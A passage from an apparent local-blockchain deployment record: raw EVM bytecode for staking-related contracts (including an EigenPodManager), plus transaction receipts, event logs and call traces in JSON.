53413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610968565b60038160048111156141c9576141c9614769565b036142215760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610968565b600481600481111561423557614235614769565b03610d195760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610968565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156142c45750600090506003614371565b8460ff16601b141580156142dc57508460ff16601c14155b156142ed5750600090506004614371565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015614341573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661436a57600060019250925050614371565b9150600090505b94509492505050565b6000806001600160ff1b0383168161439760ff86901c601b6152df565b90506143a58782888561428d565b935093505050935093915050565b60405180602001604052806001906020820280368337509192915050565b6040518060c001604052806006906020820280368337509192915050565b60008083601f84011261440157600080fd5b5081356001600160401b0381111561441857600080fd5b6020830191508360208260051b85010111156140d057600080fd5b6000806020838503121561444657600080fd5b82356001600160401b0381111561445c57600080fd5b614468858286016143ef565b90969095509350505050565b60006020828403121561448657600080fd5b5035919050565b63ffffffff81168114610d1957600080fd5b6000806000606084860312156144b457600080fd5b8335925060208401356144c68161448d565b929592945050506040919091013590565b6001600160a01b0381168114610d1957600080fd5b80356144f7816144d7565b919050565b60006020828403121561450e57600080fd5b81356127d2816144d7565b634e487b7160e01b600052604160045260246000fd5b604051606081016001600160401b038111828210171561455157614551614519565b60405290565b604080519081016001600160401b038111828210171561455157614551614519565b604051601f8201601f191681016001600160401b03811182821017156145a1576145a1614519565b604052919050565b6000806001600160401b038411156145c3576145c3614519565b50601f8301601f19166020016145d881614579565b9150508281528383830111156145ed57600080fd5b828260208301376000602084830101529392505050565b60006020828403121561461657600080fd5b81356001600160401b0381111561462c57600080fd5b8201601f8101841361463d57600080fd5b61464c848235602084016145a9565b949350505050565b6000806040838503121561466757600080fd5b50508035926020909101359150565b803560ff811681146144f757600080fd5b60006020828403121561469957600080fd5b6127d282614676565b815181526020808301519082015260408101610ee4565b60008083601f8401126146cb57600080fd5b5081356001600160401b038111156146e257600080fd5b6020830191508360208285010111156140d057600080fd5b6000806000806040858703121561471057600080fd5b84356001600160401b0381111561472657600080fd5b614732878288016143ef565b90955093505060208501356001600160401b0381111561475157600080fd5b61475d878288016146b9565b95989497509550505050565b634e487b7160e01b600052602160045260246000fd5b6003811061479d57634e487b7160e01b600052602160045260246000fd5b9052565b8151815260208083015160408301916147bc9084018261477f565b5092915050565b803561ffff811681146144f757600080fd5b6000606082840312156147e757600080fd5b6147ef61452f565b905081356147fc8161448d565b815261480a602083016147c3565b602082015261481b604083016147c3565b604082015292915050565b6000806080838503121561483957600080fd5b61484283614676565b915061485184602085016147d5565b90509250929050565b60008060006040848603121561486f57600080fd5b833561487a816144d7565b925060208401356001600160401b0381111561489557600080fd5b6148a1868287016146b9565b9497909650939450505050565b60006001600160401b038211156148c7576148c7614519565b5060051b60200190565b6000604082840312156148e357600080fd5b6148eb614557565b90506148f682614676565b81526020820135614906816144d7565b602082015292915050565b600080600080600060a0868803121561492957600080fd5b8535614934816144d7565b94506020860135935060408601356001600160401b0381111561495657600080fd5b8601601f8101881361496757600080fd5b803561497a614975826148ae565b614579565b8082825260208201915060208360061b85010192508a83111561499c57600080fd5b6020840193505b828410156149c8576149b58b856148d1565b82526020820191506040840193506149a3565b979a9699509697606081013597506080013595945050505050565b600061010082840312156149f657600080fd5b50919050565b60008083601f840112614a0e57600080fd5b5081356001600160401b03811115614a2557600080fd5b6020830191508360208260061b85010111156140d057600080fd5b600060608284031215614a5257600080fd5b614a5a61452f565b905081356001600160401b03811115614a7257600080fd5b8201601f81018413614a8357600080fd5b614a92848235602084016145a9565b8252506020828101359082015260409182013591810191909152919050565b60008060008060008060008060006101a08a8c031215614ad057600080fd5b89356001600160401b03811115614ae657600080fd5b614af28c828d016146b9565b909a5098505060208a01356001600160401b03811115614b1157600080fd5b614b1d8c828d016146b9565b9098509650614b3190508b60408c016149e3565b94506101408a01356001600160401b03811115614b4d57600080fd5b614b598c828d016149fc565b9095509350506101608a01356001600160401b03811115614b7957600080fd5b614b858c828d01614a40565b9250506101808a01356001600160401b03811115614ba257600080fd5b614bae8c828d01614a40565b9150509295985092959850929598565b6000806000806000806101608789031215614bd857600080fd5b86356001600160401b03811115614bee57600080fd5b614bfa89828a016146b9565b90975095505060208701356001600160401b03811115614c1957600080fd5b614c2589828a016146b9565b9095509350614c39905088604089016149e3565b91506101408701356001600160401b03811115614c5557600080fd5b614c6189828a01614a40565b9150509295509295509295565b60008060408385031215614c8157600080fd5b8235614c8c8161448d565b915060208301356001600160401b03811115614ca757600080fd5b8301601f81018513614cb857600080fd5b8035614cc6614975826148ae565b8082825260208201915060208360051b850101925087831115614ce857600080fd5b6020840193505b82841015614d0a578335825260209384019390910190614cef565b809450505050509250929050565b602080825282518282018190526000918401906040840190835b81811015614d5657835163ffffffff16835260209384019390920191600101614d32565b509095945050505050565b60008060208385031215614d7457600080fd5b82356001600160401b03811115614d8a57600080fd5b614468858286016146b9565b6001600160601b0381168114610d1957600080fd5b600082601f830112614dbc57600080fd5b8135614dca614975826148ae565b8082825260208201915060208360061b860101925085831115614dec57600080fd5b602085015b83811015614e455760408188031215614e0957600080fd5b614e11614557565b8135614e1c816144d7565b81526020820135614e2c81614d96565b6020828101919091529084529290920191604001614df1565b5095945050505050565b600080600060a08486031215614e6457600080fd5b614e6e85856147d5565b92506060840135614e7e81614d96565b915060808401356001600160401b03811115614e9957600080fd5b614ea586828701614dab565b9150509250925092565b600082601f830112614ec057600080fd5b8135614ece614975826148ae565b80828252602082019150602060608402860101925085831115614ef057600080fd5b602085015b83811015614e4557614f0787826147d5565b8352602090920191606001614ef5565b600082601f830112614f2857600080fd5b8135614f36614975826148ae565b8082825260208201915060208360051b860101925085831115614f5857600080fd5b602085015b83811015614e45578035614f7081614d96565b835260209283019201614f5d565b600082601f830112614f8f57600080fd5b8135614f9d614975826148ae565b8082825260208201915060208360051b860101925085831115614fbf57600080fd5b602085015b83811015614e455780356001600160401b03811115614fe257600080fd5b614ff1886020838a0101614dab565b84525060209283019201614fc4565b600080600080600080600080610100898b03121561501d57600080fd5b615026896144ec565b975061503460208a016144ec565b965061504260408a016144ec565b955061505060608a016144ec565b94506080890135935060a08901356001600160401b0381111561507257600080fd5b61507e8b828c01614eaf565b93505060c08901356001600160401b0381111561509a57600080fd5b6150a68b828c01614f17565b92505060e08901356001600160401b038111156150c257600080fd5b6150ce8b828c01614f7e565b9150509295985092959890939650565b60208101610ee4828461477f565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000815180845260005b8181101561515f57602081850181015186830182015201615143565b506000602082860101526020601f19601f83011685010191505092915050565b6020815260006127d26020830184615139565b6000602082840312156151a457600080fd5b81516127d2816144d7565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60006020828403121561520b57600080fd5b815180151581146127d257600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000808335601e1984360301811261527a57600080fd5b8301803591506001600160401b0382111561529457600080fd5b6020019150600581901b36038213156140d057600080fd5b6000602082840312156152be57600080fd5b81516127d28161448d565b634e487b7160e01b600052601160045260246000fd5b80820180821115610ee457610ee46152c9565b6000808585111561530257600080fd5b8386111561530f57600080fd5b5050820193919092039150565b600060c0820188835260018060a01b038816602084015286604084015260c0606084015280865180835260e08501915060208801925060005b8181101561538b578351805160ff1684526020908101516001600160a01b03168185015290930192604090920191600101615355565b50506080840195909552505060a00152949350505050565b6000604082840312156153b557600080fd5b6127d283836148d1565b81810381811115610ee457610ee46152c9565b6000600182016153e4576153e46152c9565b5060010190565b60018060a01b03841681528260208201526060604082015260006154126060830184615139565b95945050505050565b60006020828403121561542d57600080fd5b81516001600160c01b03811681146127d257600080fd5b634e487b7160e01b600052601260045260246000fd5b60008261546957615469615444565b500690565b6001600160a01b038316815260406020820181905260009061464c90830184615139565b82815260406020820152600061464c6040830184615139565b6000602082840312156154bd57600080fd5b5051919050565b6001600160a01b038416815261016081016154ec602083018580358252602090810135910152565b615506606083016040860180358252602090810135910152565b60406080850160a0840137604060c0850160e08401378251610120830152602083015161014083015261464c565b60018060a01b038316815260406020820152600082516060604084015261555e60a0840182615139565b90506020840151606084015260408401516080840152809150509392505050565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6001600160a01b0384168152604060208201819052600090615412908301848661557f565b60018060a01b03851681528360208201526060604082015260006117ab60608301848661557f565b600082601f83011261560657600080fd5b8151615614614975826148ae565b8082825260208201915060208360051b86010192508583111561563657600080fd5b602085015b83811015614e4557805161564e81614d96565b83526020928301920161563b565b6000806040838503121561566f57600080fd5b82516001600160401b0381111561568557600080fd5b615691858286016155f5565b92505060208301516001600160401b038111156156ad57600080fd5b6156b9858286016155f5565b9150509250929050565b83815260406020820152600061541260408301848661557f565b6000602082840312156156ef57600080fd5b81516001600160401b0381111561570557600080fd5b8201601f8101841361571657600080fd5b8051615724614975826148ae565b8082825260208201915060208360051b85010192508683111561574657600080fd5b6020840193505b828410156117ab5783516157608161448d565b82526020938401939091019061574d565b60006020828403121561578357600080fd5b81516127d281614d96565b60ff8181168382160190811115610ee457610ee46152c9565b60006060820160ff861683526001600160601b03851660208401526060604084015280845180835260808501915060208601925060005b8181101561581a57835180516001600160a01b031684526020908101516001600160601b031681850152909301926040909201916001016157de565b5090979650505050505050565b600061ffff821661ffff810361583f5761583f6152c9565b60010192915050565b60006020828403121561585a57600080fd5b81516001600160e01b0319811681146127d257600080fd5b6001600160601b0381811683821602908116908181146147bc576147bc6152c9565b60006001600160601b038316806158ad576158ad615444565b806001600160601b038416049150509291505056fe30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47a2646970667358221220419d7e27cb66d8a9027e44acca21720880735099fc2ee8e8aba6487d3c1e625164736f6c634300081c0033","nonce":46,"gas_used":5009553},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x686fc6","logs":[{"address":"0x5eb3bc0a489c5a8288765d2336659ebca68fcd00","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"}],"logsBloom":"0x00000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x8eecd2201ca2fdea7d1a691a450ac2195037df85b0ac1dc9384b81dc86d4ac37","block_number":7},{"info":{"transaction_hash":"0x28ad3c06a0638a86d07e812df07c67955b5de018fbc6905e076224ee20f458e3","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x9a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x9a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x61012060405234801561001157600080fd5b5060405161349738038061349783398101604081905261003091610140565b6001600160a01b0380861660805280851660a05280841660c05280831660e05281166101005261005e610068565b50505050506101b5565b600054610100900460ff16156100d45760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff9081161015610126576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461013d57600080fd5b50565b600080600080600060a0868803121561015857600080fd5b855161016381610128565b602087015190955061017481610128565b604087015190945061018581610128565b606087015190935061019681610128565b60808701519092506101a781610128565b809150509295509295909350565b60805160a05160c05160e0516101005161326d61022a60003960008181610636015281816106e001528181610b0e015281816113ea0152818161187e015261196e01526000610542015260006102e601526000818161027a01528181611369015261203c01526000610414015261326d6000f3fe6080604052600436106101ee5760003560e01c80638da5cb5b1161010d578063c052bd61116100a0578063d1c64cc91161006f578063d1c64cc914610604578063ea4d3c9b14610624578063f2fde38b14610658578063f6848d2414610678578063fabc1cbc146106b357600080fd5b8063c052bd6114610584578063c1de3aef146105a4578063c2c51c40146105c4578063cf756fdf146105e457600080fd5b8063a38406a3116100dc578063a38406a3146104fa578063a6a509be1461051a578063b134427114610530578063beffbb891461056457600080fd5b80638da5cb5b1461046b5780639104c319146104895780639b4e4634146104b15780639ba06275146104c457600080fd5b8063595c6a6711610185578063715018a611610154578063715018a6146103ed57806374cdd7981461040257806384d8106214610436578063886f11951461044b57600080fd5b8063595c6a67146103565780635ac86ab71461036b5780635c975abb146103ab57806360f4062b146103c057600080fd5b8063387b1300116101c1578063387b1300146102b457806339b70e38146102d457806344e71c8014610308578063463db0381461033657600080fd5b80630e81073c146101f357806310d67a2f14610226578063136439dd14610248578063292b7b2b14610268575b600080fd5b3480156101ff57600080fd5b5061021361020e36600461240b565b6106d3565b6040519081526020015b60405180910390f35b34801561023257600080fd5b50610246610241366004612437565b610911565b005b34801561025457600080fd5b50610246610263366004612454565b6109c4565b34801561027457600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161021d565b3480156102c057600080fd5b506102466102cf36600461246d565b610b03565b3480156102e057600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561031457600080fd5b5061031d610ea1565b60405167ffffffffffffffff909116815260200161021d565b34801561034257600080fd5b506102466103513660046124ae565b610ecc565b34801561036257600080fd5b5061024661105b565b34801561037757600080fd5b5061039b6103863660046124d8565b606654600160ff9092169190911b9081161490565b604051901515815260200161021d565b3480156103b757600080fd5b50606654610213565b3480156103cc57600080fd5b506102136103db366004612437565b609b6020526000908152604090205481565b3480156103f957600080fd5b50610246611122565b34801561040e57600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561044257600080fd5b5061029c611136565b34801561045757600080fd5b5060655461029c906001600160a01b031681565b34801561047757600080fd5b506033546001600160a01b031661029c565b34801561049557600080fd5b5061029c73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102466104bf366004612544565b61121f565b3480156104d057600080fd5b5061029c6104df366004612437565b6098602052600090815260409020546001600160a01b031681565b34801561050657600080fd5b5061029c610515366004612437565b61130d565b34801561052657600080fd5b5061021360995481565b34801561053c57600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561057057600080fd5b5061024661057f36600461240b565b6113df565b34801561059057600080fd5b5060975461029c906001600160a01b031681565b3480156105b057600080fd5b506102466105bf366004612437565b6115f6565b3480156105d057600080fd5b506102466105df36600461240b565b611607565b3480156105f057600080fd5b506102466105ff3660046125bd565b611a09565b34801561061057600080fd5b5061021361061f3660046124ae565b611b32565b34801561063057600080fd5b5061029c7f000000000000000000000000000000000000000000000000000000000000000081565b34801561066457600080fd5b50610246610673366004612437565b611c3d565b34801561068457600080fd5b5061039b610693366004612437565b6001600160a01b0390811660009081526098602052604090205416151590565b3480156106bf57600080fd5b506102466106ce366004612454565b611cb3565b6000336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146107265760405162461bcd60e51b815260040161071d9061260e565b60405180910390fd5b6001600160a01b0383166107a25760405162461bcd60e51b815260206004820152603a60248201527f456967656e506f644d616e616765722e6164645368617265733a20706f644f7760448201527f6e65722063616e6e6f74206265207a65726f2061646472657373000000000000606482015260840161071d565b60008212156108105760405162461bcd60e51b815260206004820152603460248201527f456967656e506f644d616e616765722e6164645368617265733a207368617265604482015273732063616e6e6f74206265206e6567617469766560601b606482015260840161071d565b61081e633b9aca0083612682565b156108915760405162461bcd60e51b815260206004820152603d60248201527f456967656e506f644d616e616765722e6164645368617265733a20736861726560448201527f73206d75737420626520612077686f6c65204777656920616d6f756e74000000606482015260840161071d565b6001600160a01b0383166000908152609b6020526040812054906108b584836126ac565b6001600160a01b0386166000818152609b60205260409081902083905551919250906000805160206131f8833981519152906108f49087815260200190565b60405180910390a26109068282611e0f565b925050505b92915050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610964573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098891906126d4565b6001600160a01b0316336001600160a01b0316146109b85760405162461bcd60e51b815260040161071d906126f1565b6109c181611e51565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a30919061273b565b610a4c5760405162461bcd60e51b815260040161071d9061275d565b60665481811614610ac55760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610b4b5760405162461bcd60e51b815260040161071d9061260e565b6001600160a01b038316610bc55760405162461bcd60e51b8152602060048201526047602482015260008051602061321883398151915260448201527f546f6b656e733a20706f644f776e65722063616e6e6f74206265207a65726f206064820152666164647265737360c81b608482015260a40161071d565b6001600160a01b038216610c425760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a2064657374696e6174696f6e2063616e6e6f74206265207a65606482015269726f206164647265737360b01b608482015260a40161071d565b6000811215610cb15760405162461bcd60e51b8152602060048201526041602482015260008051602061321883398151915260448201527f546f6b656e733a207368617265732063616e6e6f74206265206e6567617469766064820152606560f81b608482015260a40161071d565b610cbf633b9aca0082612682565b15610d335760405162461bcd60e51b815260206004820152604a602482015260008051602061321883398151915260448201527f546f6b656e733a20736861726573206d75737420626520612077686f6c6520476064820152691dd95a48185b5bdd5b9d60b21b608482015260a40161071d565b6001600160a01b0383166000908152609b602052604081205490811215610e26576000610d5f826127a5565b905080831115610dc4576001600160a01b0385166000908152609b6020526040812055610d8c81846127c1565b9250846001600160a01b03166000805160206131f883398151915282604051610db791815260200190565b60405180910390a2610e24565b6001600160a01b0385166000908152609b602052604081208054859290610dec9084906126ac565b90915550506040518381526001600160a01b038616906000805160206131f88339815191529060200160405180910390a25050505050565b505b6001600160a01b03848116600090815260986020526040908190205490516362483a2160e11b815285831660048201526024810185905291169063c490744290604401600060405180830381600087803b158015610e8357600080fd5b505af1158015610e97573d6000803e3d6000fd5b5050505050505050565b609c5460009067ffffffffffffffff16808203610ec75767ffffffffffffffff91505090565b919050565b610ed4611f48565b8067ffffffffffffffff16600003610f695760405162461bcd60e51b815260206004820152604c60248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f7420736574206e657744656e6562466f726b546960648201526b06d657374616d7020746f20360a41b608482015260a40161071d565b609c5467ffffffffffffffff16156110055760405162461bcd60e51b815260206004820152605360248201527f456967656e506f644d616e616765722e73657444656e6562466f726b54696d6560448201527f7374616d703a2063616e6e6f74207365742064656e6562466f726b54696d657360648201527274616d70206d6f7265207468616e206f6e636560681b608482015260a40161071d565b609c805467ffffffffffffffff191667ffffffffffffffff83169081179091556040519081527f19200b6fdad58f91b2f496b0c444fc4be3eff74a7e24b07770e04a7137bfd9db9060200160405180910390a150565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c7919061273b565b6110e35760405162461bcd60e51b815260040161071d9061275d565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61112a611f48565b6111346000611fa2565b565b606654600090819060019081160361118c5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03161561120e5760405162461bcd60e51b815260206004820152603360248201527f456967656e506f644d616e616765722e637265617465506f643a2053656e64656044820152721c88185b1c9958591e481a185cc818481c1bd9606a1b606482015260840161071d565b6000611218611ff4565b9250505090565b6066546000906001908116036112735760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03168061129c57611299611ff4565b90505b6040516326d3918d60e21b81526001600160a01b03821690639b4e46349034906112d2908b908b908b908b908b906004016127fd565b6000604051808303818588803b1580156112eb57600080fd5b505af11580156112ff573d6000803e3d6000fd5b505050505050505050505050565b6001600160a01b038082166000908152609860205260408120549091168061090b576113d8836001600160a01b031660001b60405180610940016040528061090e81526020016128ea61090e9139604080516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166020820152808201919091526000606082015260800160408051601f19818403018152908290526113bd9291602001612867565b60405160208183030381529060405280519060200120612159565b9392505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146114275760405162461bcd60e51b815260040161071d9061260e565b600081121561149e5760405162461bcd60e51b815260206004820152603760248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f617265732063616e6e6f74206265206e65676174697665000000000000000000606482015260840161071d565b6114ac633b9aca0082612682565b15611521576040805162461bcd60e51b81526020600482015260248101919091527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f61726573206d75737420626520612077686f6c65204777656920616d6f756e74606482015260840161071d565b6001600160a01b0382166000908152609b602052604081205461154590839061287c565b905060008112156115d65760405162461bcd60e51b815260206004820152604f60248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20636160448201527f6e6e6f7420726573756c7420696e20706f64206f776e657220686176696e672060648201526e6e656761746976652073686172657360881b608482015260a40161071d565b6001600160a01b039092166000908152609b602052604090209190915550565b6115fe611f48565b6109c1816121b5565b6001600160a01b0380831660009081526098602052604090205483911633146116825760405162461bcd60e51b815260206004820152602760248201527f456967656e506f644d616e616765722e6f6e6c79456967656e506f643a206e6f6044820152661d0818481c1bd960ca1b606482015260840161071d565b600260c954036116d45760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161071d565b600260c9556001600160a01b0383166117705760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a20706f644f776e65722063616e6e6064820152716f74206265207a65726f206164647265737360701b608482015260a40161071d565b61177e633b9aca00836128a3565b156118175760405162461bcd60e51b815260206004820152605a60248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a2073686172657344656c7461206d60648201527f75737420626520612077686f6c65204777656920616d6f756e74000000000000608482015260a40161071d565b6001600160a01b0383166000908152609b60205260408120549061183b84836126ac565b6001600160a01b0386166000908152609b602052604081208290559091506118638383611e0f565b905080156119cb57600081121561192e576001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001663132d49678773beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06118c2856127a5565b6040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401600060405180830381600087803b15801561191157600080fd5b505af1158015611925573d6000803e3d6000fd5b505050506119cb565b604051631452b9d760e11b81526001600160a01b03878116600483015273beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06024830152604482018390527f000000000000000000000000000000000000000000000000000000000000000016906328a573ae90606401600060405180830381600087803b1580156119b257600080fd5b505af11580156119c6573d6000803e3d6000fd5b505050505b856001600160a01b03166000805160206131f8833981519152866040516119f491815260200190565b60405180910390a25050600160c95550505050565b600054610100900460ff1615808015611a295750600054600160ff909116105b80611a435750303b158015611a43575060005460ff166001145b611aa65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161071d565b6000805460ff191660011790558015611ac9576000805461ff0019166101001790555b611ad2856121b5565b611adb84611fa2565b611ae583836121ff565b8015611b2b576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60975460405163321accf960e11b815267ffffffffffffffff8316600482015260009182916001600160a01b039091169063643599f290602401602060405180830381865afa158015611b89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bad91906128b7565b90508061090b5760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e676574426c6f636b526f6f744174546960448201527f6d657374616d703a20737461746520726f6f742061742074696d657374616d70606482015271081b9bdd081e595d08199a5b985b1a5e995960721b608482015260a40161071d565b611c45611f48565b6001600160a01b038116611caa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071d565b6109c181611fa2565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d2a91906126d4565b6001600160a01b0316336001600160a01b031614611d5a5760405162461bcd60e51b815260040161071d906126f1565b606654198119606654191614611dd85760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610af8565b6000808313611e2f5760008213611e285750600061090b565b508061090b565b60008213611e4757611e40836127a5565b905061090b565b611e40838361287c565b6001600160a01b038116611edf5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161071d565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b031633146111345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161071d565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000609960008154612005906128d0565b9091555060408051610940810190915261090e8082526000916120a491839133916128ea6020830139604080516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166020820152808201919091526000606082015260800160408051601f19818403018152908290526120909291602001612867565b6040516020818303038152906040526122e9565b60405163189acdbd60e31b81523360048201529091506001600160a01b0382169063c4d66de890602401600060405180830381600087803b1580156120e857600080fd5b505af11580156120fc573d6000803e3d6000fd5b50503360008181526098602052604080822080546001600160a01b0319166001600160a01b038816908117909155905192945092507f21c99d0db02213c32fff5b05cf0a718ab5f858802b91498f80d82270289d856a91a3919050565b604080516001600160f81b03196020808301919091526bffffffffffffffffffffffff193060601b16602183015260358201859052605580830185905283518084039091018152607590920190925280519101206000906113d8565b609780546001600160a01b0319166001600160a01b0383169081179091556040517f08f0470754946ccfbb446ff7fd2d6ae6af1bbdae19f85794c0cc5ed5e8ceb4f690600090a250565b6065546001600160a01b031615801561222057506001600160a01b03821615155b6122a25760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26122e582611e51565b5050565b6000808447101561233c5760405162461bcd60e51b815260206004820152601d60248201527f437265617465323a20696e73756666696369656e742062616c616e6365000000604482015260640161071d565b825160000361238d5760405162461bcd60e51b815260206004820181905260248201527f437265617465323a2062797465636f6465206c656e677468206973207a65726f604482015260640161071d565b8383516020850187f590506001600160a01b0381166123ee5760405162461bcd60e51b815260206004820152601960248201527f437265617465323a204661696c6564206f6e206465706c6f7900000000000000604482015260640161071d565b949350505050565b6001600160a01b03811681146109c157600080fd5b6000806040838503121561241e57600080fd5b8235612429816123f6565b946020939093013593505050565b60006020828403121561244957600080fd5b81356113d8816123f6565b60006020828403121561246657600080fd5b5035919050565b60008060006060848603121561248257600080fd5b833561248d816123f6565b9250602084013561249d816123f6565b929592945050506040919091013590565b6000602082840312156124c057600080fd5b813567ffffffffffffffff811681146113d857600080fd5b6000602082840312156124ea57600080fd5b813560ff811681146113d857600080fd5b60008083601f84011261250d57600080fd5b50813567ffffffffffffffff81111561252557600080fd5b60208301915083602082850101111561253d57600080fd5b9250929050565b60008060008060006060868803121561255c57600080fd5b853567ffffffffffffffff81111561257357600080fd5b61257f888289016124fb565b909650945050602086013567ffffffffffffffff81111561259f57600080fd5b6125ab888289016124fb565b96999598509660400135949350505050565b600080600080608085870312156125d